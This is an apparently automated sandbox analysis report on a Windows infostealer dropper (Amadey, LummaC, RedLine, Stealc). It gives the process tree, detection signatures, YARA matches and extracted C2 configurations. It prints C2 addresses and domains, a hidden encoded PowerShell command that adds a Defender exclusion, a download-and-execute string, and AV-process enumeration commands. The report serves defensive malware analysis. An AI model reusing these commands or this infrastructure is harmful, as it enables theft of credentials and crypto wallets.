Edit tour

Windows Analysis Report
fkawMJ7FH8.exe

Overview

General Information

Sample name:	fkawMJ7FH8.exe renamed because original name is a hash value
Original sample name:	f6dda666a364b3ebd7628cbad0601cb8.exe
Analysis ID:	1579966
MD5:	f6dda666a364b3ebd7628cbad0601cb8
SHA1:	e1b063a09268a6bcd74679d4d71118437fdcc986
SHA256:	51d36e8ab041d9bed637e4eb74400652bb95de582a0a178a8f5eab95bd0c22de
Tags:	Amadeyexeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, RedLine, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected RedLine Stealer

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Creates multiple autostart registry keys

Drops PE files with a suspicious file extension

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

fkawMJ7FH8.exe (PID: 6180 cmdline: "C:\Users\user\Desktop\fkawMJ7FH8.exe" MD5: F6DDA666A364B3EBD7628CBAD0601CB8)

axplong.exe (PID: 6960 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: F6DDA666A364B3EBD7628CBAD0601CB8)

axplong.exe (PID: 3236 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: F6DDA666A364B3EBD7628CBAD0601CB8)

legs.exe (PID: 6176 cmdline: "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe" MD5: 75CF470500D65CE4411790E09E650806)

conhost.exe (PID: 4680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

legs.exe (PID: 5852 cmdline: "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe" MD5: 75CF470500D65CE4411790E09E650806)

am209.exe (PID: 4248 cmdline: "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe" MD5: CE27255F0EF33CE6304E54D171E6547C)

defnur.exe (PID: 3276 cmdline: "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe" MD5: CE27255F0EF33CE6304E54D171E6547C)

goldddd123.exe (PID: 6244 cmdline: "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe" MD5: 2D6F91549D53930821EA4CF0FBD54B29)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

goldddd123.exe (PID: 2092 cmdline: "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe" MD5: 2D6F91549D53930821EA4CF0FBD54B29)

SurveillanceWalls.exe (PID: 3184 cmdline: "C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe" MD5: 5A909C9769920208ED3D4D7279F08DE5)

cmd.exe (PID: 5252 cmdline: "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6396 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7032 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 4640 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3468 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2808 cmdline: cmd /c md 370821 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 6164 cmdline: findstr /V "Anchor" Veterinary MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6808 cmdline: cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Sale.com (PID: 5860 cmdline: Sale.com w MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 6280 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

daw21.exe (PID: 988 cmdline: "C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe" MD5: 08D493BFDFA30242A5846DBDEF4C1948)

WerFault.exe (PID: 6500 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 1396 MD5: C31336C1EFC2CCB44B4326EA793040F2)

24adfe999c.exe (PID: 5300 cmdline: "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe" MD5: 54CC74B54E416B5B99BA11FE90829DE2)

aec9ffe5ce.exe (PID: 2280 cmdline: "C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe" MD5: 01D3882BE7A8BA0FF3BCEC230DDA6B08)

skotes.exe (PID: 1980 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 01D3882BE7A8BA0FF3BCEC230DDA6B08)

I0XmI2t.exe (PID: 7116 cmdline: "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe" MD5: 75CA34215F6E3916C51C0AF34FC17284)

powershell.exe (PID: 6808 cmdline: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mdjw5me.exe (PID: 2832 cmdline: "C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe" MD5: 81B5E34627858D87520F219C18CC5C7F)

conhost.exe (PID: 2748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ba327bb7fd.exe (PID: 4112 cmdline: "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe" MD5: B1B1CD560FBD22A72BFBFF10C86B8BE5)

530c1fe82f.exe (PID: 6940 cmdline: "C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe" MD5: CF2E7AEE1603394F639799BAB432A541)

24adfe999c.exe (PID: 4712 cmdline: "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe" MD5: 54CC74B54E416B5B99BA11FE90829DE2)

defnur.exe (PID: 6736 cmdline: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe MD5: CE27255F0EF33CE6304E54D171E6547C)

rundll32.exe (PID: 1416 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

24adfe999c.exe (PID: 6000 cmdline: "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe" MD5: 54CC74B54E416B5B99BA11FE90829DE2)

ba327bb7fd.exe (PID: 4940 cmdline: "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe" MD5: B1B1CD560FBD22A72BFBFF10C86B8BE5)

ba327bb7fd.exe (PID: 4988 cmdline: "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe" MD5: B1B1CD560FBD22A72BFBFF10C86B8BE5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "https:/135.181.65.216/ee45b7c5e4cb75cb.php"}

Threatname: LummaC

{"C2 url": ["fannleadyn.click", "crosshuaht.lat", "sustainskelet.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "discokeyus.lat", "aspecteirs.lat", "necklacebudi.lat"], "Build id": "jMw1IE--l3"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: RedLine

{"C2 url": ["147.45.44.224:1912"], "Bot Id": "1488Traffer", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	loader_amadey_clipper_plugin	Finds Amadey\'s clipper plugin based on characteristic strings	Sekoia.io	0x1b516:$str01: CLIPPERDLL.dll 0x1b525:$str02: ??4CClipperDLL@@QAEAAV0@$$QAV0@@Z 0x1b547:$str03: ??4CClipperDLL@@QAEAAV0@ABV0@@Z 0x1b567:$str04: Main 0x1b762:$str05: OpenClipboard 0x1b7aa:$str06: GetClipboardData
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:
C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x28bc4:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29006:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x290a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x2972a:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x21f14:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x21fc1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x21998:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x219c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x21b92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x21de5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x220d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:
C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	loader_amadey_clipper_plugin	Finds Amadey\'s clipper plugin based on characteristic strings	Sekoia.io	0x1b516:$str01: CLIPPERDLL.dll 0x1b525:$str02: ??4CClipperDLL@@QAEAAV0@$$QAV0@@Z 0x1b547:$str03: ??4CClipperDLL@@QAEAAV0@ABV0@@Z 0x1b567:$str04: Main 0x1b762:$str05: OpenClipboard 0x1b7aa:$str06: GetClipboardData
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Click to see the 8 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000002.2558773552.0000000000131000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3894349652.00000000007F1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1848493661.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3113602014.0000000000CA2000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1414576458.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.1455461055.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3113602014.0000000000C87000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.3113602014.0000000000CDD000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.3892973302.00000000007F1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.1453967933.0000000005010000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.2544121223.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000003.2435620899.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1494297812.0000000000531000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3895043155.00000000007F1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002C.00000002.3910873060.0000000000D30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.3108989966.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000002.3894652256.0000000000D91000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000000.2142580380.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2245904915.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.3113602014.0000000000BCB000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002D.00000002.3800987221.000002B50D803000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: legs.exe PID: 5852	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: legs.exe PID: 5852	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: legs.exe PID: 5852	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: daw21.exe PID: 988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: daw21.exe PID: 988	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x28bc4:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29006:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x290a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x2972a:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x21f14:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x21fc1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x21998:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x219c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x21b92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x21de5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x220d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x4cceb:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x4cd10:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x4cd53:$gen03: get_UserDomainName 0x50bec:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x4f96b:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x4fc41:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x4f529:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x4b9f4:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x2b040:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x5102e:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x510cc:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x51752:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0
45.2.I0XmI2t.exe.2b50dcd6568.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dcd6568.1.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x22ec3:$gen01: ChromeGetRoamingName 0x492eb:$gen01: ChromeGetRoamingName 0x22ee8:$gen02: ChromeGetLocalName 0x49310:$gen02: ChromeGetLocalName 0x22f2b:$gen03: get_UserDomainName 0x49353:$gen03: get_UserDomainName 0x25b43:$gen05: browserPaths 0x25e19:$gen06: GetBrowsers 0x25701:$gen07: get_InstalledInputLanguages 0x21bcc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x47ff4:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x1218:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29240:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x1fbea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x46012:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x20114:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x4653c:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x201c1:$typ04: 